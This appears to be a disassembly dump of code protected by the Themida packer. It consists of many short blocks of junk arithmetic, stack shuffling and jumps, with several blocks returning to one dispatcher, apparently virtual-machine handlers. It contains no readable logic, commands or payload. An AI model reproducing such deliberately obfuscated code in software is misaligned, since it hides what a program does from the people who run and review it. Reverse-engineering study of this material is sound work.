loc_5A3012:				; CODE XREF: Themida_:005A4115j
		pop	esi
		jmp	loc_5993B6
; ---------------------------------------------------------------------------


loc_5A3018:				; CODE XREF: Themida_:00592C2Dj
		add	eax, 0AD5A86B0h
		xor	edx, eax
		pop	eax
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	6026h
		jmp	loc_5A15E3
; ---------------------------------------------------------------------------


loc_5A304F:				; CODE XREF: Themida_:0059AD84j
		xchg	ebx, [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A305C:				; CODE XREF: Themida_:005A1562j
		mov	ebp, 65096003h
		inc	ebp
		push	eax
		mov	eax, 7E8E7D0Fh
		xor	eax, 3B697B14h
		jmp	loc_5A05AA
; ---------------------------------------------------------------------------


loc_5A3072:				; CODE XREF: Themida_:0059EA35j
		push	edi
		jmp	loc_593A85
; ---------------------------------------------------------------------------


loc_5A3078:				; CODE XREF: Themida_:005A07A8j
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A3098:				; CODE XREF: Themida_:00593512j
		push	ecx
		mov	ch, 20h
		add	al, ch
		pop	ecx
		add	al, bl
		push	edx
		mov	dl, 34h
		push	ebx
		mov	bl, dl
		push	ecx
		mov	ch, bl
		not	ch
		mov	bl, ch
		pop	ecx
		jmp	loc_59F4ED
; ---------------------------------------------------------------------------


loc_5A30B3:				; CODE XREF: Themida_:005954BDj
		and	edx, esi
		mov	esi, [esp]
		add	esp, 4
		inc	edx
		and	edx, 12284911h
		sub	edx, 0A4A911AAh
		jmp	loc_5913D0
; ---------------------------------------------------------------------------


loc_5A30D0:				; CODE XREF: Themida_:0059DE5Aj
		push	eax
		jmp	loc_59A364
; ---------------------------------------------------------------------------


loc_5A30D6:				; CODE XREF: Themida_:005A2691j
		mov	ebx, 29990DA9h
		add	ebp, ebx
		pop	ebx
		add	ebp, 77E84E56h
		add	ebp, esi
		sub	ebp, 77E84E56h
		push	6C23h
		mov	[esp], esi
		mov	esi, 29990DA9h
		sub	ebp, esi
		pop	esi
		pop	esi
		sub	ebp, 4
		sub	esp, 4
		jmp	loc_594F82
; ---------------------------------------------------------------------------


loc_5A310E:				; CODE XREF: Themida_:00597826j
		mov	[esp], esi
		mov	esi, 56414B18h
		jmp	loc_593716
; ---------------------------------------------------------------------------


loc_5A311B:				; CODE XREF: Themida_:005970FEj
		xchg	edi, [esp]
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	ebp
		push	0D45h
		push	esp
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_5906E8
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	6735h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1AE7518Ch
		mov	eax, 0E518AE78h
		add	eax, edx
		pop	edx
		add	esi, 38C91E48h
		add	esi, eax
		sub	esi, 38C91E48h
		jmp	loc_59D9B8
; ---------------------------------------------------------------------------


loc_5A3174:				; CODE XREF: Themida_:00595977j
		push	eax
		push	esi
		jmp	loc_59B5BC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A318A:				; CODE XREF: Themida_:005972F4j
		push	6DCC54E1h
		jmp	loc_59F1D8
; ---------------------------------------------------------------------------


loc_5A3194:				; CODE XREF: Themida_:0059A091j
		pop	eax
		add	ecx, 2BFF3C65h
		add	ecx, ebx
		sub	ecx, 2BFF3C65h
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		mul	cx
		push	edx
		jmp	loc_595112
; ---------------------------------------------------------------------------


loc_5A31B1:				; CODE XREF: Themida_:00594968j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59C7FE
; ---------------------------------------------------------------------------


loc_5A31C6:				; CODE XREF: Themida_:00593A0Ej
		xchg	edx, [esp]
		pop	esp
		add	ecx, edi
		pop	edi
		sub	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_59425D
; ---------------------------------------------------------------------------


loc_5A31E8:				; CODE XREF: Themida_:005968C9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59572D
; ---------------------------------------------------------------------------


loc_5A31F3:				; CODE XREF: Themida_:00593165j
		pop	eax
		sub	ebx, 18477A8Dh
		inc	ebx
		add	ebx, 0AA67556Fh
		add	edx, ebx
		pop	ebx
		push	esi
		push	edx
		push	49C93C8Eh
		pop	edx
		shr	edx, 7
		not	edx
		xor	edx, 0FF6C6D82h
		mov	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 6713A12h
		and	ebx, 40D337E1h
		dec	ebx
		shl	ebx, 1
		jmp	loc_597EC1
; ---------------------------------------------------------------------------


loc_5A322E:				; CODE XREF: Themida_:00597388j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 56BC6452h
		sub	edx, 26062A1Ch
		inc	edx
		shr	edx, 8
		add	edx, 63C75DFAh
		push	1413h
		mov	[esp], eax
		push	6245h
		mov	[esp], ecx
		push	7BFE3838h
		pop	ecx
		shl	ecx, 3
		push	ebp
		mov	ebp, 67B54C49h
		dec	ebp
		dec	ebp
		jmp	loc_59BE11
; ---------------------------------------------------------------------------


loc_5A327A:				; CODE XREF: Themida_:00599F30j
		pop	dword ptr [esp]
		pop	esp
		mov	ecx, [esp]
		push	edx
		push	0A19h
		mov	[esp], esp
		jmp	loc_594629
; ---------------------------------------------------------------------------


loc_5A328F:				; CODE XREF: Themida_:00590FC1j
		push	ebx
		mov	ebx, 522A08ADh
		jmp	loc_5A2BE4
; ---------------------------------------------------------------------------


loc_5A329A:				; CODE XREF: Themida_:0059B195j
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_5979DB
; ---------------------------------------------------------------------------


loc_5A32A5:				; CODE XREF: Themida_:005925C1j
		not	edi
		neg	edi
		and	edi, 42C71AC5h
		xor	edi, 590B629Bh
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_595EC0
; ---------------------------------------------------------------------------


loc_5A32C6:				; CODE XREF: Themida_:0059B3F7j
		push	edi
		mov	edi, 1AD53049h
		push	ebx
		push	ebp
		mov	ebp, 414612CFh
		mov	ebx, ebp
		jmp	loc_59EE5E
; ---------------------------------------------------------------------------


loc_5A32DA:				; CODE XREF: Themida_:005A5455j
		add	ebx, 26927A6h
		add	ebx, ecx
		sub	ebx, 26927A6h
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		jmp	loc_59FD9E
; ---------------------------------------------------------------------------


loc_5A3301:				; CODE XREF: Themida_:00599952j
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 61236E35h
		xor	eax, 3DBC7C4Ch
		jmp	loc_59315E
; ---------------------------------------------------------------------------


loc_5A331B:				; CODE XREF: Themida_:005A08E7j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_59959C
; ---------------------------------------------------------------------------


loc_5A332D:				; CODE XREF: Themida_:00595119j
		push	5C7Ah
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_596014
; ---------------------------------------------------------------------------


loc_5A3342:				; CODE XREF: Themida_:005A25FDj
		mov	edx, esp
		jmp	loc_59D3C7
; ---------------------------------------------------------------------------


loc_5A3349:				; CODE XREF: Themida_:0059B0DFj
		add	esp, 4
		xor	ecx, edx
		pop	edx
		add	ebp, 75A05348h
		jmp	loc_59F6E9
; ---------------------------------------------------------------------------


loc_5A335A:				; CODE XREF: Themida_:005A15C8j
		mov	ecx, [eax]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A3F31
; ---------------------------------------------------------------------------


loc_5A3367:				; CODE XREF: Themida_:005A1409j
		shl	edx, 6
		shr	edx, 5
		xor	edx, 6884B933h
		add	edi, edx
		pop	edx
		add	edi, 78494723h
		jmp	loc_5A2BAB
; ---------------------------------------------------------------------------


loc_5A3381:				; CODE XREF: Themida_:0059F3A5j
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5A37A1
; ---------------------------------------------------------------------------


loc_5A338A:				; CODE XREF: Themida_:005925B6j
		push	esi
		mov	esi, 305F736Eh
		push	0FD5h
		mov	[esp], esi
		push	edi
		mov	edi, 78022554h
		mov	esi, 0C32C3841h
		jmp	loc_5A3DEA
; ---------------------------------------------------------------------------


loc_5A33A8:				; CODE XREF: Themida_:005910EFj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	0A74h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A1C46
; ---------------------------------------------------------------------------


loc_5A33CF:				; CODE XREF: Themida_:00592D96j
		xor	esi, [esp]
		jmp	loc_590591
; ---------------------------------------------------------------------------


loc_5A33D7:				; CODE XREF: Themida_:00597E03j
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		jmp	loc_599DFD
; ---------------------------------------------------------------------------


loc_5A33E9:				; CODE XREF: Themida_:00596FEFj
		pop	ecx
		push	ecx
		jmp	loc_59075C
; ---------------------------------------------------------------------------
		push	923h
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	5768h
		mov	[esp], ecx
		push	6EDA1428h
		mov	ecx, [esp]
		add	esp, 4
		dec	ecx
		or	ecx, 6EAA6237h
		xor	ecx, 6EFA7237h
		jmp	loc_596CE8
; ---------------------------------------------------------------------------


loc_5A3435:				; CODE XREF: Themida_:005A0CDFj
		pop	esp
		push	ecx
		mov	cl, 0D8h
		jmp	loc_596FDA
; ---------------------------------------------------------------------------


loc_5A343E:				; CODE XREF: Themida_:0059365Bj
		add	esp, 4
		add	ecx, eax
		push	dword ptr [esp]
		jmp	loc_59A5B8
; ---------------------------------------------------------------------------


loc_5A344E:				; CODE XREF: Themida_:00593FCCj
		pop	esp
		jmp	loc_59DEDD
; ---------------------------------------------------------------------------


loc_5A3454:				; CODE XREF: Themida_:005A4586j
		mov	ecx, 125C2D1Ah
		not	ecx
		or	ecx, 118C582Dh
		jmp	loc_5A39D2
; ---------------------------------------------------------------------------


loc_5A3466:				; CODE XREF: Themida_:00599113j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A431D
; ---------------------------------------------------------------------------


loc_5A347A:				; CODE XREF: Themida_:005A5604j
		push	5B03h
		mov	[esp], edi
		jmp	loc_5A23A7
; ---------------------------------------------------------------------------


loc_5A3487:				; CODE XREF: Themida_:00598626j
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59753D
; ---------------------------------------------------------------------------


loc_5A34A9:				; CODE XREF: Themida_:0059AA82j
		mov	esi, 5E0E5B66h
		mov	ecx, esi
		pop	esi
		jmp	loc_59D03B
; ---------------------------------------------------------------------------


loc_5A34B6:				; CODE XREF: Themida_:005A5084j
		pop	esi
		sub	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_59491E
; ---------------------------------------------------------------------------


loc_5A34C9:				; CODE XREF: Themida_:005A07D9j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		jmp	loc_5A1980
; ---------------------------------------------------------------------------


loc_5A34DF:				; CODE XREF: Themida_:005A53A1j
		or	edi, 7C9F54F6h
		xor	edi, 6182925h
		push	ebp
		mov	ebp, 491D6813h
		jmp	loc_5A482B
; ---------------------------------------------------------------------------


loc_5A34F6:				; CODE XREF: Themida_:0059D3F2j
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5A3CB7
; ---------------------------------------------------------------------------


loc_5A350E:				; CODE XREF: Themida_:005A50FBj
		push	ecx
		jmp	loc_59226A
; ---------------------------------------------------------------------------


loc_5A3514:				; CODE XREF: Themida_:0059B5E5j
		add	ecx, 7C920ECBh
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_59116C
		push	0AFBh
		mov	[esp], ebx
		mov	ebx, 1Ch
		push	49C9h
		mov	[esp], esi
		mov	esi, 0BFF2D59h
		add	esi, 524AFC9Ah
		add	ebx, esi
		pop	esi
		jmp	loc_59A1F4
; ---------------------------------------------------------------------------


loc_5A3568:				; CODE XREF: Themida_:005A5280j
		add	edx, 117C2C47h
		shl	edx, 6
		add	edx, 0F0CF92CFh
		and	eax, edx
		pop	edx
		sub	eax, 49DD2C0Ch
		add	eax, 3DE92B43h
		jmp	loc_5A2FB2
; ---------------------------------------------------------------------------


loc_5A3589:				; CODE XREF: Themida_:00595439j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 548C4AE0h
		not	ebx
		shl	ebx, 4
		xor	ebx, 2B8A263Ah
		sub	ebx, 0F9F1D4FDh
		sub	edi, ebx
		pop	ebx
		sub	eax, 538E5BBFh
		sub	eax, edi
		add	eax, 538E5BBFh
		jmp	loc_59F557
; ---------------------------------------------------------------------------


loc_5A35BA:				; CODE XREF: Themida_:0059B727j
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_591BD4
; ---------------------------------------------------------------------------


loc_5A35CD:				; CODE XREF: Themida_:0059BDABj
		add	dl, 3Bh
		add	al, dl
		pop	edx
		sub	al, bl
		jmp	loc_599194
; ---------------------------------------------------------------------------


loc_5A35DA:				; CODE XREF: Themida_:005A3B04j
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_5954B2
; ---------------------------------------------------------------------------


loc_5A35E4:				; CODE XREF: Themida_:0059BB58j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		jmp	loc_59AC32
; ---------------------------------------------------------------------------


loc_5A35FA:				; CODE XREF: Themida_:0059BE1Ej
		xor	ecx, ebp
		pop	ebp
		dec	ecx
		sub	ecx, 5789A167h
		mov	eax, ecx
		jmp	loc_594D82
; ---------------------------------------------------------------------------


loc_5A360B:				; CODE XREF: Themida_:005931C3j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		push	ebx
		jmp	loc_5911F0
; ---------------------------------------------------------------------------


loc_5A3627:				; CODE XREF: Themida_:0059DDDDj
		push	edx
		mov	dh, 7Fh
		jmp	loc_5A5467
; ---------------------------------------------------------------------------


loc_5A362F:				; CODE XREF: Themida_:00596CD5j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	40C7h
		mov	[esp], edi
		jmp	loc_5981C4
; ---------------------------------------------------------------------------


loc_5A364C:				; CODE XREF: Themida_:005964A3j
		shl	ebp, 4
		xor	ebp, 1E86721Bh
		jmp	loc_59E0AE
; ---------------------------------------------------------------------------


loc_5A365A:				; CODE XREF: Themida_:0059C334j
		add	esp, 4
		inc	eax
		or	eax, 34C36247h
		shr	eax, 6
		sub	eax, 1FB2DE9h
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_5A12CD
; ---------------------------------------------------------------------------


loc_5A367E:				; CODE XREF: Themida_:0059FA13j
		push	ebp
		jmp	loc_598E7E
; ---------------------------------------------------------------------------


loc_5A3684:				; CODE XREF: Themida_:005965ACj
		add	al, 5Ah
		push	dx
		push	eax
		mov	ah, 0B3h
		push	88h
		jmp	loc_59228F
; ---------------------------------------------------------------------------


loc_5A3695:				; CODE XREF: Themida_:005961B3j
		pop	bx
		and	ch, 6
		push	dx
		mov	dl, 24h
		add	ch, dl
		jmp	loc_5950FD
; ---------------------------------------------------------------------------


loc_5A36A5:				; CODE XREF: Themida_:005A56F9j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5A531F
; ---------------------------------------------------------------------------


loc_5A36AE:				; CODE XREF: Themida_:005A56A0j
		mov	ah, bl
		push	ebx
		mov	bl, ah
		jmp	loc_59D1CD
; ---------------------------------------------------------------------------


loc_5A36B8:				; CODE XREF: Themida_:0059282Dj
		pop	ebp
		sub	edx, 1D7C481h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59FE46
; ---------------------------------------------------------------------------


loc_5A36CC:				; CODE XREF: Themida_:00599D62j
		pop	ebx
		xor	edi, 760E10CCh
		add	eax, edi
		pop	edi
		push	edx
		jmp	loc_590E5E
; ---------------------------------------------------------------------------


loc_5A36DC:				; CODE XREF: Themida_:00599BD1j
		push	ecx
		jmp	loc_598C4B
; ---------------------------------------------------------------------------


loc_5A36E2:				; CODE XREF: Themida_:005909F8j
		add	esi, 0FFFFFFFFh
		add	esi, 0ACCA645Ch
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_596080
; ---------------------------------------------------------------------------


loc_5A36FB:				; CODE XREF: Themida_:005935ACj
		sub	ebx, 0F436F78Ah
		mov	esi, ebx
		jmp	loc_597F8E
; ---------------------------------------------------------------------------


loc_5A3708:				; CODE XREF: Themida_:0059BAF3j
		push	5B7Dh
		mov	[esp], eax
		mov	ah, dh
		push	ecx
		mov	cl, ah
		mov	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_597C4C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_597B4B
; ---------------------------------------------------------------------------


loc_5A372F:				; CODE XREF: Themida_:0059750Bj
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	edi
		mov	edi, 50E92BA6h
		push	1E95h
		mov	[esp], eax
		jmp	loc_5A39F5
; ---------------------------------------------------------------------------


loc_5A374B:				; CODE XREF: Themida_:005A25B4j
		sub	ecx, 250A5040h
		add	ecx, ebp
		add	ecx, 250A5040h
		pop	ebp
		sub	ecx, 2
		jmp	loc_5A400A
; ---------------------------------------------------------------------------


loc_5A3762:				; CODE XREF: Themida_:00598319j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A1453
; ---------------------------------------------------------------------------


loc_5A3772:				; CODE XREF: Themida_:00594AC9j
		pop	edx
		sub	ch, 1
		sub	ch, 0FFh
		sub	ch, 0D9h
		jmp	loc_59F4D4
; ---------------------------------------------------------------------------


loc_5A3781:				; CODE XREF: Themida_:005942F7j
		pop	ebp
		push	ebx
		mov	ebx, 1D9C74EEh
		push	edi
		mov	edi, 62A205D1h
		jmp	loc_59F8AB
; ---------------------------------------------------------------------------


loc_5A3793:				; CODE XREF: Themida_:005A4E6Aj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_593C8A
; ---------------------------------------------------------------------------


loc_5A37A1:				; CODE XREF: Themida_:005A3385j
		pop	ecx
		push	edi
		push	esp
		pop	edi
		jmp	loc_59B5EA
; ---------------------------------------------------------------------------


loc_5A37AA:				; CODE XREF: Themida_:00590875j
		xchg	al, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A37B2:				; CODE XREF: Themida_:0059F3D1j
		mov	bh, ah
		mov	cl, bh
		pop	ebx
		mov	ax, [esp]
		add	esp, 2
		push	ebx
		jmp	loc_5A5178
; ---------------------------------------------------------------------------


loc_5A37C4:				; CODE XREF: Themida_:005A2FB7j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A37D4:				; CODE XREF: Themida_:0059310Cj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_59AE5C
; ---------------------------------------------------------------------------


loc_5A37E2:				; CODE XREF: Themida_:0059E591j
		push	59Ah
		jmp	loc_5A49B9
; ---------------------------------------------------------------------------


loc_5A37EC:				; CODE XREF: Themida_:005A2C90j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A3AC8
; ---------------------------------------------------------------------------


loc_5A37F5:				; CODE XREF: Themida_:005A0418j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	5BDBB359h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		jmp	loc_598F57
; ---------------------------------------------------------------------------


loc_5A3815:				; CODE XREF: Themida_:0059C5B4j
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A3871
; ---------------------------------------------------------------------------


loc_5A3821:				; CODE XREF: Themida_:00599035j
		pop	eax
		push	ebx
		jmp	loc_595F5F
; ---------------------------------------------------------------------------


loc_5A3828:				; CODE XREF: Themida_:00597760j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_592FF1
; ---------------------------------------------------------------------------


loc_5A3834:				; CODE XREF: Themida_:0059F88Bj
		xchg	ebx, [esp]
		jmp	loc_5A5315
; ---------------------------------------------------------------------------


loc_5A383C:				; CODE XREF: Themida_:0059B46Cj
		add	esp, 4
		add	esp, 4
		jmp	loc_593639
; ---------------------------------------------------------------------------


loc_5A384A:				; CODE XREF: Themida_:005964DEj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_597667
; ---------------------------------------------------------------------------


loc_5A3858:				; CODE XREF: Themida_:005920E5j
		shr	dl, 4
		push	ecx
		mov	cl, 81h
		jmp	loc_5A23EC
; ---------------------------------------------------------------------------


loc_5A3863:				; CODE XREF: Themida_:0059B326j
		add	ebp, esi
		pop	esi
		add	ebp, 5C692305h
		jmp	loc_59D526
; ---------------------------------------------------------------------------


loc_5A3871:				; CODE XREF: Themida_:005A381Cj
		shr	ecx, 0
		or	eax, eax
		jz	loc_59F5C1
		push	9D1h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 1DB0403Ch
		jmp	loc_5A3CF1
; ---------------------------------------------------------------------------


loc_5A3895:				; CODE XREF: Themida_:005971B7j
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6F2331E5h
		push	edi
		mov	edi, 81015B3h
		mov	ebp, 77334794h
		jmp	loc_59EA5C
; ---------------------------------------------------------------------------


loc_5A38BC:				; CODE XREF: Themida_:005A0D5Cj
		add	edx, edi
		sub	edx, 1F4C19FDh
		pop	edi
		jmp	loc_59D2CA
; ---------------------------------------------------------------------------


loc_5A38CA:				; CODE XREF: Themida_:0059F452j
		sub	esp, 4
		jmp	loc_59CEE6
; ---------------------------------------------------------------------------


loc_5A38D5:				; CODE XREF: Themida_:0059BCCBj
		sub	esi, 338D2A3Bh
		add	esi, ebp
		add	esi, 338D2A3Bh
		add	esi, 671D3376h
		pop	ebp
		push	ebx
		jmp	loc_5A1F00
; ---------------------------------------------------------------------------


loc_5A38F0:				; CODE XREF: Themida_:005926C6j
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_597D4C
; ---------------------------------------------------------------------------


loc_5A38FB:				; CODE XREF: Themida_:00591043j
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		push	edi
		push	esi
		mov	esi, 2B53396h
		push	esi
		push	4F3527E2h
		jmp	loc_599A71
; ---------------------------------------------------------------------------


loc_5A3923:				; CODE XREF: Themida_:005999AEj
		sub	al, bh
		jmp	loc_59937A
; ---------------------------------------------------------------------------


loc_5A392A:				; CODE XREF: Themida_:00596506j
		add	eax, ebx
		push	ecx
		mov	ecx, 7D7B447Bh
		push	esi
		mov	esi, 3AC02032h
		jmp	loc_5A54F9
; ---------------------------------------------------------------------------


loc_5A393D:				; CODE XREF: Themida_:0059EF68j
		add	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A3947:				; CODE XREF: Themida_:005A41AFj
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		push	esi
		push	ebp
		jmp	loc_5A285C
; ---------------------------------------------------------------------------


loc_5A3958:				; CODE XREF: Themida_:005945D7j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_594E5B
; ---------------------------------------------------------------------------


loc_5A3985:				; CODE XREF: Themida_:0059BC53j
		push	edx
		mov	edx, 3241308Ah
		jmp	loc_592C14
; ---------------------------------------------------------------------------


loc_5A3990:				; CODE XREF: Themida_:00598006j
		pop	edx
		shr	ebx, 4
		jmp	loc_5972B7
; ---------------------------------------------------------------------------


loc_5A3999:				; CODE XREF: Themida_:00594005j
		add	eax, 404E6E30h
		add	[eax], ebx
		pop	eax
		pop	edx
		mov	ebx, [esp]
		add	esp, 4


loc_5A39A8:				; CODE XREF: Themida_:005A3BFFj
		push	ebx
		mov	eax, [esp]
		push	7B6Eh
		jmp	loc_594684
; ---------------------------------------------------------------------------


loc_5A39B6:				; CODE XREF: Themida_:0059C549j
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_59611E
; ---------------------------------------------------------------------------


loc_5A39BF:				; CODE XREF: Themida_:005A0771j
		add	edi, 5A3A4EE7h
		push	edi
		sub	dword ptr [esp], 66982126h
		jmp	loc_59744E
; ---------------------------------------------------------------------------


loc_5A39D2:				; CODE XREF: Themida_:005A3461j
		sub	ecx, 7EA02271h
		xor	ecx, 43A0A9DDh
		jmp	loc_593641
; ---------------------------------------------------------------------------


loc_5A39E3:				; CODE XREF: Themida_:00594B93j
		mov	edx, 4AAD30A2h
		add	dword ptr [esp+8], 66C911A1h
		jmp	loc_5A1060
; ---------------------------------------------------------------------------


loc_5A39F5:				; CODE XREF: Themida_:005A3746j
		mov	eax, edi
		push	eax
		xor	dword ptr [esp], 73B503F6h
		jmp	loc_5A3C90
; ---------------------------------------------------------------------------


loc_5A3A04:				; CODE XREF: Themida_:00590D88j
		not	esi
		xchg	esi, [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_594BB6
; ---------------------------------------------------------------------------


loc_5A3A23:				; CODE XREF: Themida_:0059A477j
		mov	edx, eax
		jmp	loc_5A214B
; ---------------------------------------------------------------------------


loc_5A3A2A:				; CODE XREF: Themida_:00597CD8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59A068
; ---------------------------------------------------------------------------


loc_5A3A47:				; CODE XREF: Themida_:005A0DDCj
		add	eax, ebp
		pop	ebp
		sub	eax, ebx
		sub	eax, 2F4C4F50h
		push	3C1Fh
		mov	[esp], edi
		jmp	loc_59E4C2
; ---------------------------------------------------------------------------


loc_5A3A5E:				; CODE XREF: Themida_:00597F1Fj
		neg	bl
		jmp	loc_59F79C
; ---------------------------------------------------------------------------


loc_5A3A65:				; CODE XREF: Themida_:00595D94j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59D9FE
; ---------------------------------------------------------------------------


loc_5A3A72:				; CODE XREF: Themida_:005953B2j
		mov	[esp], ecx
		mov	ecx, 10E03E64h
		jmp	loc_595F4C
; ---------------------------------------------------------------------------


loc_5A3A7F:				; CODE XREF: Themida_:005981A2j
		add	esp, 2
		push	edx
		mov	dl, 0EDh
		add	al, dl
		pop	edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dx
		mov	dh, 87h
		inc	dh
		sub	dh, 0F1h
		xor	dh, 6Ah
		add	bl, 6Dh
		sub	bl, dh
		sub	bl, 6Dh
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 4Ch
		sub	bl, al
		jmp	loc_59D020
; ---------------------------------------------------------------------------


loc_5A3ABA:				; CODE XREF: Themida_:0059C734j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59111C
; ---------------------------------------------------------------------------


loc_5A3AC8:				; CODE XREF: Themida_:005A37F0j
		push	5ED0h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_593FE3
; ---------------------------------------------------------------------------


